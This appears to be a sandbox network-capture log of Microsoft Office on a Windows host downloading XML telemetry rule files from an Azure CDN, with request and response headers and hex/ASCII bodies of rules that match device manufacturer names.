Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49805	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:24 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 80263b1c-901e-002a-38ad-247a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140524Z-15b8d89586f6nn8zquf2vw6t5400000004u000000000k3y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 131e52ce-d01e-002b-553b-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140524Z-16849878b789m94j7902zfvfr000000007pg00000000eu3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49807	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:24 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: c4337264-b01e-0070-640b-221cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140524Z-16849878b78rjhv97f3nhawr7s00000007v0000000003g2n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:24 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:24 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 1f9c3bb8-d01e-0014-220b-22ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140525Z-16849878b78mhkkf6kbvry07q000000007s0000000007nfh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:25 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 46af3d48-701e-0032-6627-21a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140525Z-16849878b78p6ttkmyustyrk8s00000007r000000000add5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:25 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 03f0a5af-d01e-007a-76f2-24f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140525Z-r197bdfb6b4qpk6v9629ad4b5s0000000cgg000000001mxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:25 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:25 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b13276b3-c01e-00a2-52fc-242327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140525Z-r197bdfb6b4r9fwfbdwymmgex800000001mg0000000032ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:25 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:25 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 221e1266-901e-0016-4cfc-24efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140525Z-r197bdfb6b46gt25anfa5gg2fw000000038g00000000h1su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:26 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d2a5b3e5-101e-0079-35e1-255913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140526Z-16849878b785g992cz2s9gk35c00000007ug00000000d7zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:26 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 3f9fc18b-f01e-0096-2cf2-2410ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140526Z-r197bdfb6b4kkrkjudg185sarw00000001u000000000kv2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49815	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:26 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:26 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f96c54c1-a01e-0098-5bf5-248556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140526Z-r197bdfb6b429k2s6br3k49qn400000004xg00000000k47v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:26 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:26 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 44f017bc-601e-000d-6df3-242618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140526Z-15b8d89586fwzdd8urmg0p1ebs000000097g00000000hhas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 